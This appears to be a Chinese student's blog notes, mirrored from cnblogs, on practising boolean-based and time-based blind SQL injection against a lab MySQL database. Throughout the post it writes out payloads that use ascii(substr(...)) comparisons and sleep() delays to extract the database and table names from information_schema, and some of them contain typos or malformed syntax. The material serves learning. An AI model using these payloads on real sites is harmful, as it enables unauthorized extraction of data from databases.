zoukankan      html  css  js  c++  java
  • 大哥带我走渗透ii--时间盲注,布尔盲注

    5/27

    基于布尔的盲注

    1. 我连题目都看不懂555,先去补充一点知识。https://blog.csdn.net/weixin_40709439/article/details/81355856
    2. 返回的true或者false
      •  构造payload让信息通过错误提示回显出来,一种类型(其它的暂时不怎么了解)是先报字段数,再利用后台数据库报错机制回显(跟一般的报错区别是,一般的报错注入是爆出字段数后,在此基础通过正确的查询语句,使结果回显到页面;
      •  后者是在爆出字段数的基础上使用能触发SQL报错机制的注入语句
    3. 接下来看看是否报

     

    在这里我多加了一个‘  ,说明前面是一个完整的一对单引号;

    4. 开始测试

    • 第一步我们测试长度

     

    构造语句:

    ...... and lenth((select database()))>5 #查询当前数据库字段的长度

    .......错误,说明太长了。

    大于3成立,小于4也成立,大于4不成立,所以length取3,但是实际的要加一,长度就是4;大于他就取他+1

    5.利用substr()ascii()函数进行尝试,猜测数据库中的第一个表的第一个字符;

    ascii(x)=101,判断x的ascii码是否等于101,即email中的字母e

    substr(a,b,c)从 b 位置开始, 截取字符串 a 的 c 长度

    ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101

    这里,大于100成立,测试得出取115

    SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),1,1))>115

    6.我们继续测试其他字段,一共有4个;虽然组长哪里有答案,但是我还是自己测试了(最后一个除外),,emmmm练手??

    • SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),1,1))>115    # 116 t
    • SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),2,1))>100   # e
    • SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),3,1))>114   # s
    • SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),4,1))>115   # t

     

    6.所以该数据库的名字为test,接下来我们判断数据库中有多少表

    length((select table_name from information_schema.tables where table_schema='test' limit 0,1))>5 
    #

    组长这里写的长度为4,但是我觉得应该是5;

    7.构造爆表语句:

    表一:

    • ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1))>96
    • ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),2,1))>???
    • ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),3,1))>96
    • ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),4,1))>96
    • ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),5,1))>96

    表二:

    • ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 1,1),1,1))>96

    username password

    5/27  mysql注入 基于时间的盲注

    1.基于时间盲注,类似于基于布尔的盲注,通过注入特定语句,根据判断结果的对错将会出现一定时间的网页请求响应的延时。

    https://www.cnblogs.com/-zhong/p/10931563.html

    2.and1=1  and1=2 都是一样的界面

    https://blog.csdn.net/DarkHQ/article/details/79274376

    3.检测语句:利用sleep()函数进行延时注入

     and if(ascii(substr((select database()),1,1))>10000,1,sleep(5))  #返回是错误就延时5秒,if(a,b,c),如果条件b

    300

    4.开始猜长度,构造语句:

    if(length((select database()))>3,1,sleep(5))

    所以字段有4位,

    5.接下来就开始爆表名。

    构造语句:

    • if(ascii(substr((select database()),1,1))=??,1,sleep(5),1)
    • if(ascii(substr((select database()),2,1))=??,1,sleep(5),1)
    • if(ascii(substr((select database()),3,1))=??,1,sleep(5),1)
    • if(ascii(substr((select database()),4,1))=??,1,sleep(5),1)

    这个就很不一样了,,睡代表真===

    所以得到第一个字母:116 t

    最后得出:test

    6.开始构造第一个字母。

    ?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1))>100,1,sleep(5))

    后面是,爆完字段爆表名,报完表名爆表里面的单个字名,

     ===写不来了。。。看组长的===https://www.cnblogs.com/-zhong/p/10931563.html

  • 相关阅读:
    Codeforces 1485C Floor and Mod (枚举)
    CodeForces 1195D Submarine in the Rybinsk Sea (算贡献)
    CodeForces 1195C Basketball Exercise (线性DP)
    2021年初寒假训练第24场 B. 庆功会(搜索)
    任务分配(dp)
    开发工具的异常现象
    Telink MESH SDK 如何使用PWM
    Telink BLE MESH PWM波的小结
    [LeetCode] 1586. Binary Search Tree Iterator II
    [LeetCode] 1288. Remove Covered Intervals
  • 原文地址:https://www.cnblogs.com/TEAM0N/p/infiltration-II.html
Copyright © 2011-2022 走看看